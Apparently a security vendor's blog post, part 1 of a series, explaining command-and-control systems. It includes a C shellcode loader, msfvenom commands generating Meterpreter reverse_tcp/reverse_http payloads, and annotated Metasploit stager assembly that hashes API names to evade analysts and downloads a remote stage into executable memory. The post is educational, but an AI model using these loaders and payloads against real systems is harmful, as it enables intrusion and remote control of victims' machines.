xmark.svg
email

Request Free Demo

Ready to get started? We're here to help. Fill-in your corporate info and we will contact you ASAP.

img-form.svg
xmark.svg
email

Contact Partner

Ready to get started? We're here to help. Fill-in your corporate info and we will contact you ASAP.

img-form.svg
xmark.svg

Compromised!

Our records shows credentials leaked due to a data breach.


No worries, we are here to Help. Request a demo below and we will help you identify & track the breach.

img-form.svg
xmark.svg

Compromised!

Our records shows credentials leaked due to a data breach.


No worries, we are here to Help. Request a demo below and we will help you identify & track the breach.

img-form.svg
xmark.svg

Not Found!

No exposed breaches related to your company, Yet!


Our comprehensive feeds are updated twice a day, which means every day is a possibility of capturing data related to your organization. We recommend to request a demo for detailed explanation of our services and how we can help you prevent data breaches in advance.

img-form.svg
email
xmark.svg

Invitation only

We are based on invitation only. Please Request a Demo to be able to Signup/Login.

email
xmark.svg

Thank you for subscribing!

We will email you for any updates, blog posts, new research and what not!





How C2 Works In-Depth [Part 1]

By DarkEntry

Last updated Dec 06, 2024 - 15 Minutes Read

How C2 Works In-depth

Have you ever been thinking about the mechanisms behind C2 (Command and Control) systems? particularly what occurs once you have established a device session? In this blog we're going to take an in-depth look at the functionalities of C2 systems and uncover the processes that happen in the background after your device session is activated.

Table of contents

First Part :

  • What is C2 & Infrastructure Components 
  • How the C2 is working & Shellcode Loader Example
  • Technical Breakdown of Meterpreter Shellcode Execution
  • Stagers ( Staged vs. Stageless Payloads ): A Detailed Comparison
  • Introduction to the Stager & Revrse_shell ASM Code

Second Part :

  • Reflective Loading & Reflective DLL Injection ( RDI )
  • What it's happening in the RDI Code - Walkthrough 
  • Important Notes About the RDI
  • How payload loaded into victim's memory
  • How is the ReflectiveLoader Function Called in a DLL

Third Part:

  • Entire extensions of the Meterpreter & Code Analysis  
  • RDI in modern C2
  • Evading EDRs with modern evasive techniques
  • How is the ReflectiveLoader Function Called in a DLL
  • Hooking techniques used by security tools ( AVs, RDRs, etc. )

What is C2 & Infrastructure Components

What is C2 ?

Command and Control (C2) Infrastructure is a significant aspect in the cyberattacks terrain. It goes beyond penetrating the target’s defense; C2 is about being in control as well as communicating with compromised systems. An attacker gains control of issuing commands, deploying other malicious payloads and exfiltrating critical information through this mechanism of control. C2 communications usually involves hidden channels that pretend to be normal network traffic to evade detection. Such hidden communication channels may be encrypted HTTP/HTTPS or DNS queries, blending seamlessly with legitimate traffic in the victim’s network.  

The evolution of C2 techniques is constant, adapting to counter cybersecurity defenses. The MITRE ATT&CK framework illustrates this with various observed C2 methods used in real-world attacks.

 Key Components of a C2 Infrastructure ?
 
  • Distributing phishing emails using a SMTP Server - This server handles sending out phishing emails

  • Serving files with a Payload Server - This server provides the files that will be downloaded to victim devices

  • Managing implants (Agents) - These are reverse shells created in a C2-compatible format, similar to creating msfvenom payloads using the Metasploit framework

  • Relaying traffic with Redirectors - These servers act as proxies between the victim and the backend infrastructure, ensuring only implant traffic reaches the backend and protecting it from investigations or attacks

  • Crafting network traffic - Making network traffic look like legitimate HTTP traffic. Implants should use HTTPS to blend in with regular web browsing. For extra security, communications can be asynchronous or use domain fronting techniques

  • Operating the backend C2 server - This is the heart of operations, where all implants are managed and controlled devices within the target organization are overseen

 

How the C2 is working & Shellcode Loader Example

Before we delve into our topic today, we should know how shellcode loader works in order to understand complex matters in order to understand how everything happens behind the scenes after running these lines, and this will be our topic today in general, which is what happens after it is run in computer's memory.

Simple payload loader example

#include <windows.h>
        
unsigned char payload[] = {
    0x90,       // NOP
    0x90,       // NOP
    0xcc,       // INT3
    0xc3        // RET
};
unsigned int payload_len = sizeof ( payload );

int main( void ) {
    
    void * exec_mem;
    BOOL rv;
    DWORD oldprotect = 0;

    // Allocate a memory buffer for the payload
    exec_mem = VirtualAlloc( 0 , payload_len , MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE );

    // Copy the payload to the new buffer
    RtlMoveMemory( exec_mem , payload , payload_len );

    // Mark the new buffer as executable
    VirtualProtect( exec_mem , payload_len , PAGE_EXECUTE_READ , &oldprotect );

    // Execute the shellcode via function pointer
    ( ( void ( * ) () )exec_mem )();

    return 0;
}
 

What is happening !?

  1. Payload Preparation and Memory Allocation This step involving payload preparation and memory allocation remains consistent, ensuring that the shellcode is ready for deployment and a memory buffer is allocated with read and write permissions.

  2. Memory Buffer Adjustment

    VirtualProtect( exec_mem , payload_len , PAGE_EXECUTE_READ , &oldprotect );

The VirtualProtect function modifies the memory buffer, enabling it to be read and executed. This transition is pivotal to ensure that the memory buffer is primed for seamless shellcode execution.

  1. Refined Shellcode Execution Approach

    ( ( void ( * )() ) exec_mem )();

In this refined approach, instead of creating a new thread, the shellcode is executed directly using a function pointer. The memory address exec_mem, which hosts the shellcode, is cast to a function pointer and is subsequently invoked. This method ensures the execution of the shellcode within the same thread, negating the need for thread management or synchronization using WaitForSingleObject.

 

Technical Breakdown of Meterpreter Shellcode Execution

 

Technical Breakdown of Meterpreter Shellcode Execution 

  1. Buffer: The meterpreter calls the region of memory that contains the shellcode a “buffer”. It is in this buffer where raw binary instructions that make up the Meterpreter payload are placed.

  2. Return Address ( RET ): The program’s stack is an attractive target for attackers who exploit its vulnerabilities. The RET is a pointer to an address in memory which represents the next instruction to be executed after returning from a function call or subroutine. Usually, instead of returning to the original program flow and attackers overwrite the RET and then pointing it towards their own shellcode.

  3. Shellcode Address: A “shellcode address” denotes where Meterpreter injects its shellcode into memory. By manipulating the RET, attackers ensure that execution flow is altered such that it points to this shellcode and thus triggers Meterpreter’s operation.

  4. Execution Flow:

    • Injection: The Meterpreter shellcode is injected into the process's memory often by overwriting the RET value with the shellcode's address.
    • Redirect: When the manipulated RET is hit, the program's execution flow diverts to the shellcode's address.
    • Meterpreter Initialization: The shellcode initializes Meterpreter's environment, setting up communication channels, encryption, and other necessary components.
    • Command Execution: Meterpreter offers an attacker a remote command and control ( C2 ) interface, enabling the

 

Stagers ( Staged vs. Stageless Payloads )

 

A detailed comparison between Staged vs. Stageless payloads 

Execution Mechanics
  • Initial execution involves connecting back to the attacker's server to establish a communication link.
  • Determines payload size for memory allocation on the target system.
  • Allocates memory marked as RWX for payload execution.
  • Employs techniques like Reflective DLL Injection for stealthy loading.
  • The entire payload, including all modules and extensions, is executed directly on the target system.
  • No intermediate steps such as separate stager execution.
  • Immediate initialization of modules and configuration handling.
Payload Delivery and Execution
  • Payload is delivered in stages and written into the allocated memory.
  • Control is passed to the payload after successful download and memory writing.
  • The configuration block is patched for communication setup.
  • Executes a single, large payload with no staging process.
  • Includes all necessary components for immediate action upon execution.
  • Utilizes embedded modules for specific tasks post-execution.
Communication and Security
  • Uses a Meterpreter session for communication.
  • Employs TLV packets for structured data exchange.
  • SSL negotiation occurs after initial communication setup.
  • Establishes a secure TCP connection from the beginning.
  • SSL encryption is integral from the outset, ensuring secure communication.
  • Communicates using TLV packets for efficient data transfer.
Practical Considerations
  • Ideal for constrained environments where a smaller initial footprint is necessary.
  • Allows for dynamic payload customization based on target system characteristics.
  • Best suited for scenarios where a larger initial payload size is not a limitation.
  • Offers a quicker setup due to the absence of a staging process.
Example Usage with Msfvenom
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f raw
  • msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT -f raw

 

Choosing the Right Approach:

Now, imagine you have to decide which approach to use based on the circumstances:

  • Staged Payload: You'd choose this when you have limited resources or space for your initial note. It's like sending a scout ahead before launching the full operation.

  • Stageless Payload: This approach is suitable when you have all the resources you need from the start and prioritize secure communication. It's like going in prepared with everything in your backpack.

 

Intro to the Stager Assembly Code

 

The following assembly code snippet explores an essential component of a multi-stage operation. This section establishes the groundwork for future actions, prioritizing the creation of a reverse HTTPS connection.

Key Code Steps:

  • Stack Setup: It aligns the stack for proper function calling.
  • start Subroutine: Retrieves a memory address for future API calls.
  • External Files: Includes external code for essential functionalities.
  • Reverse HTTPS: By the end, it's expected to have a reverse HTTPS connection, managed using the EDI register.

We can also observe the inclusion of two files: "block_api" and the "stager_reverse_https.asm."

- Let's begin by dissecting the "block_api.asm" code:

api_call:
          push r9                     ; Save the 4th parameter
          push r8                     ; Save the 3rd parameter
          push rdx                    ; Save the 2nd parameter
          push rcx                    ; Save the 1st parameter
          push rsi                    ; Save RSI
          xor rdx, rdx                ; Zero rdx
          mov rdx, [gs:rdx+0x60]      ; Get a pointer to the PEB
          mov rdx, [rdx+0x18]         ; Get PEB->Ldr
          mov rdx, [rdx+0x20]         ; Get the first module from the InMemoryOrder module list
        next_mod:
 
  • The api_call function begins by saving several registers ( r9, r8, rdx, rcx, and rsi ) onto the stack. This is done to preserve the values of these registers for later use.

  • It then zeroes out the rdx register and proceeds to retrieve a pointer to the Process Environment Block ( PEB ). The PEB is a data structure that contains information about the current process.

  • Within the PEB, it accesses the Ldr ( Loader ) field, which points to the loader data structure responsible for managing loaded modules ( DLLs ). Then, it retrieves the first module from the list of loaded modules.

     
      mov rsi, [rdx+0x50]         ; Get pointer to modules name (unicode string)
              movzx rcx, word [rdx+0x4a]  ; Set rcx to the length we want to check
              xor r9, r9                  ; Clear r9, which will store the hash of the module name
            loop_modname:
              xor rax, rax                ; Clear rax
              lodsb                       ; Read in the next byte of the name
              cmp al, 'a'                 ; Some versions of Windows use lower case module names
              jl not_lowercase            ;
              sub al, 0x20                ; If so, normalize to uppercase
            not_lowercase:
              ror r9d, 0xd                ; Rotate right our hash value
              add r9d, eax                ; Add the next byte of the name
              loop loop_modname
              push rdx                    ; Save the current position in the module list for later
              push r9                     ; Save the current module hash for later
     
  • This section focuses on hashing the name of each loaded module for comparison. It uses a custom hash function to compute the hash value of the module's name.

  • rsi is used to point to the module's name ( in Unicode ), and rcx is set to the length of the name.

  • The loop ( loop_modname ) iterates through each character of the module name, normalizing it to uppercase if necessary and updating the hash value in r9d.

  • After computing the hash, it pushes both the current position in the module list and the module's hash onto the stack for later use.

     
    get_next_func:
              jrcxz get_next_mod          ; When we reach the start of the EAT, process the next module
              dec rcx                     ; Decrement the function name counter
              mov esi, dword [r8+rcx*0x4]; Get rva of next module name
              add esi, rdx                ; Add the modules base address
              xor r9, r9                  ; Clear r9, which will store the hash of the function name
            loop_funcname:
              xor rax, rax                ; Clear rax
              lodsb                       ; Read in the next byte of the ASCII function name
              ror r9d, 0xd                ; Rotate right our hash value
              add r9d, eax                ; Add the next byte of the name
              cmp al, ah                  ; Compare AL (the next byte from the name) to AH (null)
              jne loop_funcname           ; If we have not reached the null terminator, continue
              add r9, [rsp+0x8]           ; Add the current module hash to the function hash
              cmp r9d, r10d               ; Compare the hash to the one we are searching for
              jnz get_next_func           ; Go compute the next function hash if we have not found it
     
  • In this part, the code checks if it has reached the end of the Export Address Table ( EAT ) by using the jrcxz instruction. If the counter rcx reaches zero, it means that it has processed all function names in the EAT for the current module.

  • If there are more function names to process, it decrements rcx and retrieves the RVA ( Relative Virtual Address ) of the next function name.

  • The code then iterates through each character of the function name using the loop_funcname loop, updating the hash in r9d.

  • When it reaches the null terminator ( end of the function name ), it adds the hash of the module name ( previously pushed onto the stack ) to the hash of the function name and compares it to the target hash ( r10d ).

  • If the hashes match, it proceeds to prepare for calling the function.

     
    finish:
              ; Cleanup and function call
              pop r8                      ; Clear off the current modules hash
              pop r8                      ; Clear off the current position in the module list
              pop rsi                     ; Restore RSI
              pop rcx                     ; Restore the 1st parameter
              pop rdx                     ; Restore the 2nd parameter
              pop r8                      ; Restore the 3rd parameter
              pop r9                      ; Restore the 4th parameter
              pop r10                     ; Pop off the return address
              sub rsp, 0x20               ; Reserve space for the four register params
              push r10                    ; Push back the return address
              jmp rax                     ; Jump into the required function
    After successfully identifying and hashing the function, the code proceeds to prepare for the function call.
  • It restores the stack to its original state and ensuring that the parameters are in the correct order.

  • The stack is adjusted by ( sub rsp, 0x20 ) to reserve space for four register parameters ( r8, r9, rdx, rcx ).

  • Finally it pushes the return address onto the stack and jumps to the address of the target function effectively calling it.

This code's core functionality lies in its ability to dynamically access and use Windows API functions by their hashed names. This makes it difficult for analysts to identify the functions being called, increasing the shellcode's obscurity and ability to evade detection.

Let's break down the stager_reverse_https.asm assembly code, Let's focus on memory management techniques essential for the reverse shellcode's operation. These memory-related tasks include memory allocation, data retrieval, and execution. We'll delve into each of these aspects in detail.

allocate_memory:
          xor rcx, rcx           ; LPVOID lpAddress
          mov rdx, 0x00400000    ; SIZE_T dwSize
          mov r8, 0x1000         ; DWORD flAllocationType (MEM_COMMIT)
          mov r9, 0x40           ; DWORD flProtect (PAGE_EXECUTE_READWRITE)
          mov r10, 0xE553A458    ; hash( "kernel32.dll", "VirtualAlloc" )
          call rbp
 
  • allocate_memory is responsible for allocating a block of memory using the VirtualAlloc function from the Windows API.

  • hIt sets various parameters:

    1. The variable lpAddress is set to null by performing the operation "xor rcx, rcx", indicating the starting point of our allocation process.

    2. The dwSize parameter specifies the size of the memory block to be allocated, which in this case is a generous 4MB (0x00400000). 

    3. In addition, we configure the flAllocationType to be MEM_COMMIT ( 0x1000 ), indicating the type of memory allocation to be performed. 

    4. And lastly, we define the flProtect to be PAGE_EXECUTE_READWRITE ( 0x40 ), determining the desired protection settings for the allocated memory.
    5. The hash("kernel32.dll", "VirtualAlloc") function call is used to resolve the address of the VirtualAlloc function from the kernel32.dll library.
  • Finally, VirtualAlloc is called with the provided parameters, allocating a block of memory.

    download_prep:
              xchg rax, rbx          ; place the allocated base address in ebx
              push rbx               ; store a copy of the stage base address on the stack
              push rbx               ; temporary storage for bytes read count
              mov rdi, rsp           ; &bytesRead
  • download_prep prepares for downloading content into the allocated memory block.

  • It swaps the values of rax and rbx and effectively storing the allocated memory base address in ebx.

  • It then pushes ebx onto the stack to store a copy of the stage base address.

  • Another copy of ebx is pushed onto the stack, serving as temporary storage for the number of bytes read during the download.

  • rdi is set to point to the location on the stack where the number of bytes read will be stored.

     
    download_more:
              mov rcx, rsi           ; HINTERNET hFile
              mov rdx, rbx           ; LPVOID lpBuffer
              mov r8, 8192           ; DWORD dwNumberOfBytesToRead
              mov r9, rdi            ; LPDWORD lpdwNumberOfBytesRead
              mov r10, 0xE2899612    ; hash( "wininet.dll", "InternetReadFile" )
              call rbp
              add rsp, 32            ; clean reserved space
     
  • Download_more is responsible for downloading more content from the server and storing it in the allocated memory block.

  • It sets up parameters for the InternetReadFile function from wininet.dll:

    1. hFile ( rcx ) is set to the internet file handle.
    2. lpBuffer ( rdx ) is set to the address of the allocated memory block ( the buffer ).
    3. dwNumberOfBytesToRead ( r8 ) is set to 8192 bytes ( 8KB ) to specify the maximum number of bytes to read in a single operation.
    4. lpdwNumberOfBytesRead ( r9 ) is set to the address where the number of bytes read will be stored. hash("wininet.dll", "InternetReadFile") is used to resolve the address of the InternetReadFile function from wininet.dll.
  • The InternetReadFile function is called with these parameters to read data from the server into the allocated memory block.

  • After the call, add rsp, 32 is used to clean up reserved stack space.

 

These code sections are essential for the dynamic loading and execution of remote code. They allocate memory, retrieve data from the network, and store it in memory for later execution, forming the core functionality of a reverse shellcode.

 

image-9

 

In part 2, we will deep dive into Reflective Loading. Stay tuned for Part 2 in few days :)

-----------------------

References & Resources:

  • All the resources / refrences will be mentioned in the last part, part 3.

Thanks for reading the first part!

image

 

Ready to get started? we're here to help! Request a demo below: